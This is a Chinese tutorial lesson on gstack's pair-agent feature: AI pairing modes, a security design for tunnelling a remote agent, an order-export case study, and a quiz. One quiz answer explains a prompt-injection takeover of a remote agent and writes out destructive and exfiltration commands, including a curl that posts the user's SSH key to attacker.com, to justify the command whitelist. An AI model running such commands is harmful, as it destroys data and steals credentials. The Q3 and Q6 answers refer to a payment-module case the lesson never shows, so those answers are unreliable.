狸想岛 · AI 实战学习社区

🎯 学 gstack 的多 Agent 结对编程系统：不是在终端里和一个 AI 对话，而是让两个 AI Agent 像两个开发者一样协作——一个写代码一个审查，一个做架构一个做实现，或通过 ngrok（ngrok：内网穿透工具） tunnel 远程协作——把"结对编程"从两人模式扩展到人+多 AI 模式。 ⏱️ 预计时间：25 分钟

[!tip] 初学提示：结对编程的概念来自极限编程（XP），可以先聚焦 Driver-Navigator 模式理解核心思想，Architect-Implementer 和 Remote Pair 是进阶玩法。

[!quote]- 📖 原Skill精要 技能名称：pair-agent 核心功能：将远程 AI Agent 与你的浏览器配对。一个命令生成 setup key 并打印连接指令，对方 Agent 即可连接。支持 OpenClaw、Hermes、Codex、Cursor 等任何可发 HTTP 请求的 Agent。远程 Agent 获得自有 Tab 和范围化访问权限（默认读写，按需 admin）。通过 ngrok tunnel 实现远程协作。 所属体系：gstack 虚拟工程团队 协作关系：与 [[L6-38-AI浏览器控制台|open-gstack-browser]] 配合提供可见浏览器，实现多 Agent 协同

§1 课程概览

[!info] 白话小课堂 一句话：让两个 AI Agent 像两个真人开发者一样结对编程——一个写代码，另一个在旁边实时审查挑刺——bug 在代码刚写出来时就被捕获，而不是等到 PR 审查阶段才被发现。

为什么重要：单人开发（即使有 AI 辅助）的最大问题是"盲点"——你写代码时沉浸在自己的思路里，看不到自己的逻辑漏洞。真人结对编程已经被 XP 验证可降低 15-50% 的缺陷率。pair-agent 把结对编程扩展到"人+多 AI"模式：不需要另一个真人在旁边——AI Navigator 24/7 在线审查。

核心心法：反馈循环的长度决定修复成本。Navigator 实时指出 bug → 2 分钟修复。PR 审查才发现 → 30 分钟修复（需要重新理解上下文）。结对编程的价值不在"多一个人"，而在"把反馈循环从小时级缩短到秒级"。

§2 结构拆解

核心特征

管理对象：多 Agent 协作编码会话（角色分配 + 实时审查 + 远程隧道）
核心原则：反馈循环最短化 —— 审查与编码同步进行，而非异步等待
关键设计：
- 三种协作模式：Driver-Navigator / Architect-Implementer / Remote Pair
- Dual-Listener 安全架构：本地 listener（完整权限）+ Tunnel listener（受限白名单）
- Cross-model 审查多样性：不同模型互补各自盲点
- Scoped token 能力衰减：远程 Agent → 26 个 browser 命令白名单，拒绝 root token

通用结构

输入层： → 编码任务描述 → 协作模式选择（driver-navigator / architect-implementer / remote-pair） → 可选：远程 Agent 连接信息（ngrok tunnel URL） ├── 角色分配 │ ├── Driver-Navigator: Driver 写代码 + Navigator 实时审查 │ ├── Architect-Implementer: Architect 设计接口 + Implementer 实现逻辑 │ └── Remote Pair: 通过 ngrok tunnel 远程 Agent 接入本地环境 ├── Dual-Listener 安全层 │ ├── 127.0.0.1 listener → 完整命令权限（本地） │ ├── Tunnel listener → 白名单 26 个 browser 命令（远程） │ └── 安全措施：scoped token 认证、root token 403、security attempts log ├── 实时协作循环 │ ├── Driver/Implementer 产出代码 │ ├── Navigator/Architect 实时审查 + 提出改进 │ └── 反馈 → 修正 → 验证（循环直到通过） └── Cross-model 验证（可选） └── 引入第三模型（Codex / review 专家军团）做独立审查输出层： → 已审查的代码（经过实时修正，减少 PR 阶段的返工） → 审查记录（Navigator 捕获的 bug 列表 + 修正方案） → 安全性日志（Tunnel 拒绝记录）

§3 Pair-Agent 的协作模式

三种结对模式

Driver-Navigator（驾驶-导航）

→ Driver Agent: 写代码、运行测试 → Navigator Agent: 实时审查、提出改进建议 → 模仿真人结对编程的经典模式

Architect-Implementer（架构-实现）

→ Architect Agent: 设计架构、定义接口、写类型定义 → Implementer Agent: 实现具体逻辑、填充函数体 → 适合新功能开发

Remote Pair（远程结对）

→ 通过 ngrok tunnel 暴露本地环境 → 远程 Agent 通过 tunnel 连接到本地 → 安全的命令白名单（26 个允许的 browser 命令） → SSE 事件流（30 分钟 HttpOnly cookie）

§4 远程隧道安全架构

Dual-Listener 架构

本地: → 127.0.0.1 listener: 完整命令权限（本地 Agent） → Tunnel listener: 受限命令白名单（远程 Agent）

Tunnel 安全措施: → 只允许 /connect, /command（白名单 26 个 browser 命令） → Root token 在 tunnel 上返回 403 → 认证通过 scoped token（不是 root token） → 所有 tunnel 拒绝请求记录到 security attempts log

SSE Session 管理

→ POST /sse-session → 生成 30 分钟 HttpOnly cookie → 不能用于 /command（独立权限域） → 用于实时事件流（Agent 输出、截图更新等）

§5 电商 Skill 案例：电商后台管理功能AI结对开发——订单批量导出模块

🛒 实战案例：某电商后台需要新增"订单批量导出"功能——运营人员选择日期范围→系统异步生成CSV文件→完成后邮件通知下载链接。涉及数据库查询优化（日均2万订单，导出不能超时）、异步任务队列、文件存储、邮件通知。使用pair-agent的Driver-Navigator模式——两个AI Agent分别担任Driver(编码)和Navigator(实时审查)。

Driver Agent(实现)：设计并实现src/services/order-export.service.ts——核心逻辑：接收{dateFrom, dateTo, userId}参数→创建export_task记录(status: PENDING)→入队Bull队列→Worker异步执行SELECT * FROM orders WHERE created_at BETWEEN $1 AND $2 AND merchant_id = $3→流式写入CSV到S3→更新task status COMPLETED+file_url→通过notification-service发送邮件通知。初始实现——一次性加载所有匹配订单到内存→构建CSV字符串→上传。

Navigator Agent(实时审查)：在Driver写代码过程中提出4个关键修正——(1)"一次性加载所有订单到内存——日均2万订单×30天=60万行，每行≈1KB→600MB内存。改用数据库游标流式读取+CSV流式写入，峰值内存<10MB"；(2)"CSV中的created_at字段格式应为ISO 8601 UTC，代码目前使用new Date().toLocaleString()→时区不一致导致客户在不同时区看到不同时间"；(3)"如果导出任务失败（S3上传超时/DB连接中断）→task status永远卡在PROCESSING。需要添加超时重试机制（Bull自动retry 3次+最终FAILED状态+记录错误信息到task的error字段）；(4)"邮件通知的file_url是S3预签名URL（临时授权），有效期应设为24小时且在邮件正文中标注‘链接24小时后失效’——目前生成的是永久公开URL有数据泄露风险"。

Driver修复后Navigator确认：Driver逐一修复上述4个问题→Navigator重新审查确认代码质量满意。修复过程中的关键——Navigator不仅指出问题还给出了具体的修复方案（"改用数据库游标流式读取"而非只是说"性能有问题"）→Driver直接按方案修复无需反复沟通。整个结对过程耗时35分钟（20分钟编码+15分钟Navigator审查/Driver修复循环）。

最终代码质量：生成的代码通过了后续PR审查——/review仅发现2个INFORMATIONAL级别的发现（注释可更详细、变量命名建议调整），0个CRITICAL/HIGH发现。对比同团队之前类似复杂度的"优惠券导出"功能（无AI结对、PR审查发现4个CRITICAL+7个HIGH）→Pair Agent的实时审查在代码刚写出来时就解决了问题，而非在PR阶段才发现。

🔑 启示：Pair Agent的Driver-Navigator模式模拟的是"经典结对编程"的实时反馈——但它比人类结对多一个优势：Navigator不会被Driver的思考过程"带偏"。人类结对中Navigator可能被Driver的思路影响而漏掉问题，但AI Navigator每次审查都是"冷启动"——它只看当前的代码和Driver的声明，不会被之前的讨论影响判断。反馈循环长度：PR审查="写完→提交→审查→修复"（小时级），Pair Agent="写→审查→修复→写"（分钟级）——循环越短，返工成本越低。

[!info] 参考来源结对编程模式参考了 Extreme Programming (XP) 的结对编程实践。ngrok tunnel 架构参考了 ngrok 的安全隧道设计。

§6 掌握检验

Q1：三种结对模式中，Driver-Navigator 模式最接近哪种真人协作模式？

A) 一个人写代码，另一个人定期检查最终结果
B) Driver（写代码）和 Navigator（实时审查、提出改进建议）——模拟经典结对编程模式，只是两个角色都由 AI Agent 担任
C) 两个人各自写一半代码再合并
D) 一个人设计界面，另一个人写后端

Q2：Dual-Listener 架构中，Tunnel listener 与本地 listener 的核心区别是什么？

A) Tunnel listener 速度更快
B) Tunnel listener 使用受限命令白名单（26 个 browser 命令），拒绝 root token，认证通过 scoped token——本地 listener 有完整命令权限
C) Tunnel listener 只允许读取文件
D) 两者有完全相同的权限

Q3：Navigator Agent 在支付模块开发中捕捉到的 4 个潜在 bug 是什么？请逐一列出并说明：每个 bug 如果在 PR 审查阶段才发现而非在 Driver 实现阶段就被 Navigator 发现，修复成本有什么不同？这揭示了"实时审查"与"PR 审查"在反馈循环长度上的哪些优势？

Q4：Dual-Listener 架构中"Tunnel listener 只允许 26 个 browser 命令"——为什么远程 Agent 不应该有执行 bash 命令的权限？如果远程 Agent 可以执行 rm -rf / 或 git push --force，攻击者通过什么路径能触发这些操作？scoped token vs root token 的区别如何防止这个风险？

Q5：Architect-Implementer 模式中——Architect Agent 设计架构（接口、类型定义）→ Implementer Agent 实现具体逻辑（函数体）。这个分工与真实团队中的"架构师 + 开发工程师"角色类似。请问：如果 Architect 设计的接口在 Implementer 实现时发现无法实现（如接口假设了同步操作但实际需要异步），结对编程模式如何处理这种"接口设计错误"——与传统的"架构师写完设计文档丢给开发"模式有什么不同？

Q6：在支付模块的 Driver-Navigator 案例中，Navigator 捕捉了所有 4 个 bug。但如果 Navigator 和 Driver 都是错误倾向相同的模型（如都来自同一个训练数据分布），它们可能共享同一个盲点——比如都不擅长检测竞态条件。这个风险如何规避？gstack 已有的哪个系统可以与 pair-agent 配合来增加审查多样性？

§7 答案

点击查看答案

Q1：B —— Driver-Navigator 直接模拟真人结对编程：Driver 负责代码生成（敲键盘），Navigator 负责实时审查（看屏幕、发现问题、提出建议）。

Q2：B —— Tunnel listener 的安全性通过"能力衰减"实现——远程 Agent 通过 ngrok tunnel 连接（来自不受控制的网络）→ 只能执行白名单中的 26 个 browser 命令（goto/snapshot/console/text 等浏览器操作，不包括 bash/rm/git 等系统命令）→ 认证通过 scoped token（不是 root token）→ 拒绝所有 root token 请求。

Q3：四个 bug：①金额从前端传入——Driver 写了 const { amount } = req.body，Navigator 提醒"金额应从数据库读取"。PR 审查修复成本：Driver 需要重新理解代码逻辑（一天后）+ 修改 + 重新测试——30 分钟。实时修复成本：Driver 还在上下文中——2 分钟。②支付回调未验签——实时修复成本：2 分钟。PR 修复成本：30 分钟。③重复回调幂等处理——Driver 写了单次处理逻辑，Navigator 提醒"如果需要处理重复回调怎么办"。这属于边缘情况——PR 审查者可能也会漏掉（因为不是代码逻辑错误而是"缺失的保护"）。④total_fee 单位（分 vs 元）——数据模型错误。实时修复：Driver 立即修改所有金额计算 ×100。PR 修复：Driver 需要修改所有相关代码 + 更新已有测试的期望值——工作量大。核心优势：实时反馈循环从"几小时/几天"（等 PR 审查）缩短到"几十秒"（Navigator 立即指出）——修复成本随反馈延迟呈指数增长。

Q4：攻击路径：如果远程 Agent 可以执行 bash 命令 → 攻击者控制了远程 Agent 的会话（通过 prompt injection 或窃取 API key）→ 攻击者发送"执行 rm -rf /"指令 → 本地 Tunnel listener 执行 → 本地文件被删除。更隐蔽的攻击：攻击者执行 git push --force origin main（覆盖远程仓库）或 curl -X POST -d @~/.ssh/id_rsa https://attacker.com/steal（窃取 SSH 密钥）。Scoped token vs root token：root token = 完全权限（等同于本机 Admin），scoped token = 受限权限（只能执行 browser 命令白名单）。即使 scoped token 泄露，攻击者能做的只是"导航到网站 + 截图 + 检查控制台"——信息泄露但不至于数据破坏。Tunnel listener 的拒绝记录写入 security attempts log——如果攻击者尝试 root token → 记录 → 告警。

Q5：传统模式：架构师写完设计文档 → 抛给开发 → 开发实现时发现接口问题 → 找架构师讨论 → 架构师可能在开会/休假 → 开发被迫等待或"自己判断"→ 可能错误的判断进入代码。Architect-Implementer 模式中的处理：Implementer 尝试实现接口 → 发现 Architect 假设了同步操作但实际是异步的 → Implementer 立即向 Architect 反馈"这个接口需要改为 async/await 或 Promise-based" → Architect 立即修正接口定义（因为两个 Agent 在同一会话中，无需等待人类协调）→ Implementer 用修正后的接口继续实现。关键区别：反馈循环极短（秒/分钟级 vs 小时/天级）+ 接口修正是立即传播的（不需要重新发设计文档）。

Q6：盲点共享风险：如果 Driver 和 Navigator 都是 Claude 模型 → 两者共享相同的训练数据偏见和安全微调 → 对于 Claude 模型的系统性盲点（如特定语言的竞态条件模式、特定框架的安全漏洞）→ 两人可能同时漏掉。风险规避：①引入 Cross-model pair——设置 Driver 为 Claude、Navigator 为 Codex（或反过来）→ 不同模型的"偏见"互补——Codex 捕捉 Claude 的盲点，Claude 捕捉 Codex 的盲点。②与 codex adversarial review 集成——在 pair-agent 完成后，将最终代码交给 Codex 做独立的对抗审查（codex exec）→ 第三模型验证。③与 /review 的 7 个专家子 Agent 协作——pair-agent 完成后触发 /review 的 Security/Performance/Architecture 专家做深度审查 → 多个模型的交叉验证。pair-agent 的 Navigator 角色是"实时共识"的补充，不是"所有审查"的替代。

（5/6 通过）

L6-45：AI结对编程 —— 两个AI一唱一和写出更好的代码